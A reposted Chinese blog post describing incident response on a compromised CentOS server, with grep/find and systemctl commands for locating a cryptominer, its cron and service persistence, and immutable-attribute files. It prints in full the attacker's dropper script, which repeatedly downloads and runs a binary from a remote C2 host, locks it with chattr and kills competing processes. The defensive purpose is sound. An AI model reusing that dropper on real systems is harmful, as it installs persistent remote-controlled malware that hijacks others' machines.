惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
Microsoft Azure Blog
Microsoft Azure Blog
云风的 BLOG
云风的 BLOG
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
L
LangChain Blog
P
Privacy & Cybersecurity Law Blog
Hugging Face - Blog
Hugging Face - Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
大猫的无限游戏
大猫的无限游戏
Cyberwarzone
Cyberwarzone
The Register - Security
The Register - Security
Stack Overflow Blog
Stack Overflow Blog
A
Arctic Wolf
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
Threatpost
The GitHub Blog
The GitHub Blog
P
Privacy International News Feed
WordPress大学
WordPress大学
U
Unit 42
S
Securelist
T
The Exploit Database - CXSecurity.com
C
Cyber Attacks, Cyber Crime and Cyber Security
P
Proofpoint News Feed
Latest news
Latest news
Hacker News: Ask HN
Hacker News: Ask HN
小众软件
小众软件
Know Your Adversary
Know Your Adversary
The Cloudflare Blog
V
Vulnerabilities – Threatpost
The Hacker News
The Hacker News
Scott Helme
Scott Helme
有赞技术团队
有赞技术团队
Security Latest
Security Latest
Google DeepMind News
Google DeepMind News
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Simon Willison's Weblog
Simon Willison's Weblog
博客园 - Franky
Y
Y Combinator Blog
博客园 - 叶小钗
Security Archives - TechRepublic
Security Archives - TechRepublic
Google DeepMind News
Google DeepMind News
N
Netflix TechBlog - Medium
S
Secure Thoughts
T
Threat Research - Cisco Blogs
aimingoo的专栏
aimingoo的专栏
S
SegmentFault 最新的问题
Microsoft Security Blog
Microsoft Security Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
博客园 - 司徒正美
M
MIT News - Artificial intelligence

博客园 - 与f

微软的人机验证 docker运行hermes agent python使用docx库对在word中的表格合并操作 Python 项目创建+依赖管理+版本控制 百度飞桨PaddleOCR-VL识别发票图片输出json格式 大模型微调后导出,部署服务然后后端调用 openclaw的一些聊天配置 docker 部署 openclaw llama.cpp编译 微信小程序显示ai返回的markdown或html C#多端桌面程序(可跨平台) 主流 MySQL 热备份方案 基于SRS(Simple Realtime Server)+ CDN边缘节点加速3个nginx做文件分发1个nginx做负载均衡 一份基于SRS(Simple Realtime Server)+ CDN边缘节点srs edge加速的万人级直播部署清单 HLS(HTTP Live Streaming)标准的视频及加密和解密播放 HLS(HTTP Live Streaming)标准的视频及加密 使用Dockerfile创建一个hyperf容器做为开发环境 docker的hyperf框架docker-compose一键安装 通过vm虚拟中的docker 环境做开发 ubuntu 安装后ssh 连接到服务器 lvm的概念和操作(linux) PHP Attributes 注解 Centos8网络配置小工具 Keepalive实现一个高可用负载均衡场景 Keepalived详解:原理、编译安装与高可用集群配置
centos 服务器查找一些字符串
与f · 2025-12-23 · via 博客园 - 与f

服务器被 入侵了 不停的访问  http://agent.apacheorg.top:1234 地址。

1.查了一下所有敏感目录下,有这个字符串的文件。

2.挨个看,发现木马的维护程序.inis ,然后AI分析,

3.一键给出处理方式,按照步骤操作就行,删文件,删定时任务,杀进程等.

4.查看开机服务

centos 服务器重要位置查找一些字符串

grep -r ":1234" /root /home /tmp /var/tmp /etc/cron* /etc/init.d /usr/sbin /usr/local/bin 2>/dev/null
find /tmp /var/tmp /usr/sbin -name ".rsyslogds*" -type f 2>/dev/null
# 搜索所有常见文本配置/脚本文件,排除虚拟目录和二进制文件
grep -r --include="*.{sh,py,pl,js,json,yml,yaml,conf,cfg,txt,log,ini,bashrc,bash_profile}" \
      --exclude-dir={proc,sys,dev,run,tmp,var/cache,usr/share,lib,lib64,bin,sbin} \
      ":1234" / 2>/dev/null
grep -r ":1234" \
    /etc \
    /root \
    /home \
    /var/spool/cron \
    /etc/cron.d \
    /etc/cron.hourly \
    /usr/local/bin \
    /opt \
    2>/dev/null
grep -r ":1234" /etc /root /home /tmp /var/tmp /usr/sbin /usr/local 2>/dev/null


服务器发现的木马脚本

image

 
[root@ecs-49ca cron.d]# cat /usr/sbin/.inis
#!/bin/bash
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
if [ -w /usr/sbin ]; then
  SPATH=/usr/sbin
else
  SPATH=/tmp
fi
kill(){
  ps aux | grep -v '.rsyslogds' |grep -v '.libs'| grep -v grep | awk '{if($3>50.0) print $2}' | while read procid
  do
    kill -9 $procid
  done
}
while true; do
  ipurl="http://agent.apacheorg.top:1234"
  MD5_1_XMR = `curl -fsSL $ipurl/v||wget -q -O - $ipurl/v`
  MD5_2_XMR=`md5sum $SPATH/.rsyslogds | awk '{print $1}'`
  if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]; then
    if [ $(ps -aux|grep '.rsyslogds'|grep -v grep|wc -l) -eq '0' ];then
      $SPATH/.rsyslogds
    else
      echo "ok"
    fi
  else
    $DLB $SPATH/.rsyslogds $ipurl/.rsyslogds;chmod +x $SPATH/.rsyslogds;$SPATH/.rsyslogds
    chattr +ai $SPATH/.rsyslogds
  fi
  kill
  sleep 1m
done

image

image

image

image

image

image

查看开机服务区

 查看所有 已启用 的开机自启服务

systemctl list-unit-files --type=service --state=enabled
crond.service                    enabled
sshd.service                     enabled
.rsyslogds.service               enabled   ← ⚠️ 可疑!
#检查是否有隐藏/伪装服务
ls -la /etc/systemd/system/*.service /usr/lib/systemd/system/*.service 2>/dev/null

# 重点检查非标准名称(如带点、下划线、随机名)
ls -la /etc/systemd/system/ | grep -E "\.(service|socket|timer)$"
#查找一个服务的路径地址
systemctl show mybackdoor.service -p FragmentPath

有些文件无法删除,被加了不可删除属性

文件加了属性,删除不了

image

image

这是一串 15 位字符,表示文件的属性。我们来逐位解释:

1 - 不是目录(如果是 d 表示目录) 2 - 没有 s 属性(同步写入) 3 - 没有 S 属性(异步写入) 4 - 没有 u 属性(未备份) 5 i ✅ immutable(不可变) → 这是关键! 6 - 没有 a 属性(只允许追加) 7~15 -------- 其他属性为空
位置字符含义

🚨 关键信息:i 属性 = 不可修改、不可删除!

✅ i 属性的作用:

  • 禁止任何用户(包括 root)修改、删除、重命名该文件
  • 只有使用 chattr -i 才能取消这个保护
  • 常用于防止系统关键文件被误删,但也被攻击者滥用
修改属性 chattr -i /usr/sbin/.rsyslogds

修改属性 chattr -a /usr/sbin/.rsyslogds

rm -f /usr/sbin/.rsyslogds
查看属性
lsattr /usr/sbin/.rsyslogds

能否帮我些一个 全面查找木马字符串 的 命令

当然可以!以下是一个 安全、高效、全面 的命令,用于在 CentOS 系统中查找与木马相关的可疑字符串(如 :1234agent.apacheorg.topxmss.rsyslogds 等),不会卡死系统,并聚焦于攻击者最可能藏匿的位置

# 定义要搜索的关键词(可按需扩展)
KEYWORDS=":1234\|agent\.apacheorg\.top\|xmss\|\.rsyslogds\|\.inis\|oanacroner1\|192\.210\.200\.66"

# 安全扫描:只查文本类文件 + 关键目录 + 跳过虚拟/二进制路径
grep -rE --include="*.{sh,py,pl,js,json,yml,yaml,conf,cfg,txt,log,ini,bashrc,bash_profile}" \
         --exclude-dir={proc,sys,dev,run,tmp,var/cache,usr/share,lib,lib64,bin,sbin} \
         "$KEYWORDS" \
         /etc /root /home /var/spool/cron /etc/cron* /usr/sbin /usr/local/bin /opt 2>/dev/null

🔍 命令说明

KEYWORDS=... 包含你已知的所有恶意特征:
• 端口 :1234
• C2 域名 agent.apacheorg.top
• 脚本名 xmss
• 隐藏文件 .rsyslogds.inis
• 定时任务名 oanacroner1
• C2 IP 192.210.200.66--include="*.{...}" 只扫描 文本类配置/脚本文件,跳过二进制程序 --exclude-dir={...} 避开 /proc/sys/dev 等虚拟文件系统,防止卡死 搜索路径 覆盖所有高危目录:
• /etc(配置)
• /root/home(用户目录)
• /var/spool/cron/etc/cron*(定时任务)
• /usr/sbin/usr/local/bin(木马常驻位置)
部分作用